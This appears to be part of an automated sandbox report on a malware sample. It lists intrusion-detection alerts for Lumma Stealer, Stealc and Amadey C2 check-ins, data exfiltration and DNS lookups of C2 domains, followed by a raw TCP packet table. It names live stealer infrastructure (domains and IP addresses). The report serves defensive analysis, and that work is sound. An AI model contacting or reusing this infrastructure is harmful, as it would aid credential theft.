2024-11-01T10:57:36.385014+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-01T10:57:37.391494+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-01T10:57:37.391494+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-01T10:57:37.471214+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49990	188.114.97.3	443	TCP
2024-11-01T10:57:37.471214+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49990	188.114.97.3	443	TCP
2024-11-01T10:57:37.898006+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-01T10:57:37.898006+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-01T10:57:38.566015+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49991	185.215.113.206	80	TCP
2024-11-01T10:57:39.010381+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50002	188.114.97.3	443	TCP
2024-11-01T10:57:39.010381+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50002	188.114.97.3	443	TCP
2024-11-01T10:57:40.462857+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50016	185.215.113.43	80	TCP
2024-11-01T10:57:40.624050+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-01T10:57:40.624050+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-01T10:57:41.975461+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50035	188.114.97.3	443	TCP
2024-11-01T10:57:41.975461+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50035	188.114.97.3	443	TCP
2024-11-01T10:57:43.440916+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50049	188.114.97.3	443	TCP
2024-11-01T10:57:43.440916+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50049	188.114.97.3	443	TCP
2024-11-01T10:57:45.697352+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50055	185.215.113.206	80	TCP
2024-11-01T10:57:45.978107+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50058	188.114.97.3	443	TCP
2024-11-01T10:57:45.978107+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50058	188.114.97.3	443	TCP
2024-11-01T10:57:45.987367+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50056	188.114.97.3	443	TCP
2024-11-01T10:57:45.987367+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50056	188.114.97.3	443	TCP
2024-11-01T10:57:45.990916+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50058	188.114.97.3	443	TCP
2024-11-01T10:57:46.888187+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50056	188.114.97.3	443	TCP
2024-11-01T10:57:47.599649+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-01T10:57:47.599649+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-01T10:57:48.034495+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50073	188.114.97.3	443	TCP
2024-11-01T10:57:48.034495+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50073	188.114.97.3	443	TCP
2024-11-01T10:57:48.082497+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-01T10:57:48.484707+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50073	188.114.97.3	443	TCP
2024-11-01T10:57:49.018587+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50075	185.215.113.16	80	TCP
2024-11-01T10:57:49.413275+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50076	185.215.113.16	80	TCP
2024-11-01T10:58:04.880588+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50100	185.215.113.206	80	TCP
2024-11-01T10:58:13.514802+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	52181	1.1.1.1	53	UDP
2024-11-01T10:58:13.529986+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	62871	1.1.1.1	53	UDP
2024-11-01T10:58:13.553623+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	49457	1.1.1.1	53	UDP
2024-11-01T10:58:13.661392+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	62875	1.1.1.1	53	UDP
2024-11-01T10:58:14.349475+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50113	188.114.97.3	443	TCP
2024-11-01T10:58:14.349475+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50113	188.114.97.3	443	TCP
2024-11-01T10:58:14.882240+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50113	188.114.97.3	443	TCP
2024-11-01T10:58:14.882240+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50113	188.114.97.3	443	TCP
2024-11-01T10:58:15.876212+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50115	188.114.97.3	443	TCP
2024-11-01T10:58:15.876212+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50115	188.114.97.3	443	TCP
2024-11-01T10:58:16.376318+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50115	188.114.97.3	443	TCP
2024-11-01T10:58:16.376318+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50115	188.114.97.3	443	TCP
2024-11-01T10:58:17.274062+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50116	188.114.97.3	443	TCP
2024-11-01T10:58:17.274062+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50116	188.114.97.3	443	TCP
2024-11-01T10:58:18.475976+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50118	188.114.97.3	443	TCP
2024-11-01T10:58:18.475976+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50118	188.114.97.3	443	TCP
2024-11-01T10:58:19.663931+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50119	188.114.97.3	443	TCP
2024-11-01T10:58:19.663931+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50119	188.114.97.3	443	TCP
2024-11-01T10:58:21.023684+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50122	188.114.97.3	443	TCP
2024-11-01T10:58:21.023684+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50122	188.114.97.3	443	TCP
2024-11-01T10:58:21.710682+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50122	188.114.97.3	443	TCP
2024-11-01T10:58:22.987515+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50125	188.114.97.3	443	TCP
2024-11-01T10:58:22.987515+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50125	188.114.97.3	443	TCP
2024-11-01T10:58:23.023410+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50125	188.114.97.3	443	TCP
2024-11-01T10:58:23.623964+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50124	185.215.113.206	80	TCP
2024-11-01T10:58:24.020714+0100	2057071	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (authorisev .site)	1	192.168.2.4	54814	1.1.1.1	53	UDP
2024-11-01T10:58:24.533606+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50126	188.114.97.3	443	TCP
2024-11-01T10:58:24.533606+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50126	188.114.97.3	443	TCP
2024-11-01T10:58:24.655869+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50127	104.21.85.194	443	TCP
2024-11-01T10:58:24.655869+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50127	104.21.85.194	443	TCP
2024-11-01T10:58:24.810244+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50127	104.21.85.194	443	TCP
2024-11-01T10:58:24.810244+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50127	104.21.85.194	443	TCP
2024-11-01T10:58:25.201946+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50126	188.114.97.3	443	TCP
2024-11-01T10:58:25.498979+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50129	104.21.85.194	443	TCP
2024-11-01T10:58:25.498979+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50129	104.21.85.194	443	TCP
2024-11-01T10:58:26.128952+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50130	185.215.113.16	80	TCP
2024-11-01T10:58:26.170846+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50129	104.21.85.194	443	TCP
2024-11-01T10:58:26.170846+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50129	104.21.85.194	443	TCP
2024-11-01T10:58:26.933396+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50131	104.21.85.194	443	TCP
2024-11-01T10:58:26.933396+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50131	104.21.85.194	443	TCP
2024-11-01T10:58:27.543047+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50131	104.21.85.194	443	TCP
2024-11-01T10:58:28.251132+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50133	104.21.85.194	443	TCP
2024-11-01T10:58:28.251132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50133	104.21.85.194	443	TCP
2024-11-01T10:58:29.832953+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50134	104.21.85.194	443	TCP
2024-11-01T10:58:29.832953+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50134	104.21.85.194	443	TCP
2024-11-01T10:58:31.357581+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50141	104.21.85.194	443	TCP
2024-11-01T10:58:31.357581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50141	104.21.85.194	443	TCP
2024-11-01T10:58:33.837280+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50147	104.21.85.194	443	TCP
2024-11-01T10:58:33.837280+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50147	104.21.85.194	443	TCP
2024-11-01T10:58:36.214647+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50158	104.21.85.194	443	TCP
2024-11-01T10:58:36.214647+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50158	104.21.85.194	443	TCP
2024-11-01T10:58:36.940550+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50158	104.21.85.194	443	TCP
2024-11-01T10:58:39.987547+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50179	185.215.113.206	80	TCP
2024-11-01T10:58:50.945786+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50186	104.21.85.194	443	TCP
2024-11-01T10:58:50.945786+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50186	104.21.85.194	443	TCP
2024-11-01T10:58:51.095295+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50186	104.21.85.194	443	TCP
2024-11-01T10:58:51.095295+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50186	104.21.85.194	443	TCP
2024-11-01T10:58:51.816131+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50187	104.21.85.194	443	TCP
2024-11-01T10:58:51.816131+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50187	104.21.85.194	443	TCP
2024-11-01T10:58:52.300168+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50187	104.21.85.194	443	TCP
2024-11-01T10:58:52.300168+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50187	104.21.85.194	443	TCP
2024-11-01T10:58:53.035423+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50189	104.21.85.194	443	TCP
2024-11-01T10:58:53.035423+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50189	104.21.85.194	443	TCP
2024-11-01T10:58:54.287354+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50191	104.21.85.194	443	TCP
2024-11-01T10:58:54.287354+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50191	104.21.85.194	443	TCP
2024-11-01T10:58:55.304036+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50194	104.21.85.194	443	TCP
2024-11-01T10:58:55.304036+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50194	104.21.85.194	443	TCP
2024-11-01T10:58:56.684583+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50195	104.21.85.194	443	TCP
2024-11-01T10:58:56.684583+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50195	104.21.85.194	443	TCP
2024-11-01T10:58:57.980104+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50197	104.21.85.194	443	TCP
2024-11-01T10:58:57.980104+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50197	104.21.85.194	443	TCP
2024-11-01T10:58:58.651256+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50197	104.21.85.194	443	TCP
2024-11-01T10:58:58.651256+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50197	104.21.85.194	443	TCP
2024-11-01T10:58:59.471803+0100	2057072	ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)	1	192.168.2.4	50198	104.21.85.194	443	TCP
2024-11-01T10:58:59.471803+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50198	104.21.85.194	443	TCP
2024-11-01T10:58:59.923886+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50198	104.21.85.194	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 10:55:55.015796900 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:55.015846968 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:55.015901089 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:55.029158115 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:55.029182911 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:55.655527115 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:55.655612946 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:55.759116888 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:55.759160042 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:55.759418011 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:55.807647943 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:55.832441092 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:55.832469940 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:55.832559109 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.295082092 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.295166016 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.295224905 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.297183990 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.297204018 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.297219992 CET	49730	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.297224998 CET	443	49730	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.349545002 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.349596024 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.349687099 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.350008965 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.350019932 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.948350906 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.948468924 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.949783087 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.949806929 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.950025082 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:56.951277018 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.951339960 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:56.951359987 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.410576105 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.410655022 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.410736084 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.410783052 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.410885096 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.410918951 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.410944939 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.410964966 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.411041975 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.411443949 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.415584087 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.415616035 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.415642023 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.415662050 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.415724993 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.524570942 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.524674892 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.524708986 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.524727106 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.524753094 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.524822950 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.524825096 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.524880886 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.525002003 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.525038958 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.525063992 CET	49731	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.525079012 CET	443	49731	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.599682093 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.599719048 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:57.599798918 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.600104094 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:57.600116014 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.229161024 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.229240894 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.230716944 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.230729103 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.230927944 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.232234955 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.232347012 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.232376099 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.232434988 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.232441902 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.904455900 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.904539108 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.904589891 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.904750109 CET	49732	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.904769897 CET	443	49732	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.977556944 CET	49733	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.977610111 CET	443	49733	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:58.977708101 CET	49733	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.977960110 CET	49733	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:58.977981091 CET	443	49733	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:59.600841999 CET	443	49733	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:59.600939035 CET	49733	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:59.602284908 CET	49733	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:59.602298021 CET	443	49733	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:59.602502108 CET	443	49733	188.114.97.3	192.168.2.4
Nov 1, 2024 10:55:59.603779078 CET	49733	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:59.603887081 CET	49733	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:55:59.603919029 CET	443	49733	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:00.325293064 CET	443	49733	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:00.325381994 CET	443	49733	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:00.325463057 CET	49733	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:00.325644016 CET	49733	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:00.325664997 CET	443	49733	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:00.492588997 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:00.492630959 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:00.492723942 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:00.493072033 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:00.493083954 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:01.098612070 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:01.098720074 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:01.100106001 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:01.100116014 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:01.100315094 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:01.101691961 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:01.101825953 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:01.101855040 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:01.101923943 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:01.101933002 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:01.749067068 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:01.749146938 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:01.749207973 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:01.749388933 CET	49734	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:01.749402046 CET	443	49734	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:02.189958096 CET	49735	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:02.189996004 CET	443	49735	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:02.190094948 CET	49735	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:02.190473080 CET	49735	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:02.190486908 CET	443	49735	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:02.788588047 CET	443	49735	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:02.788750887 CET	49735	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:02.790433884 CET	49735	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:02.790446997 CET	443	49735	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:02.790657043 CET	443	49735	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:02.791975975 CET	49735	443	192.168.2.4	188.114.97.3
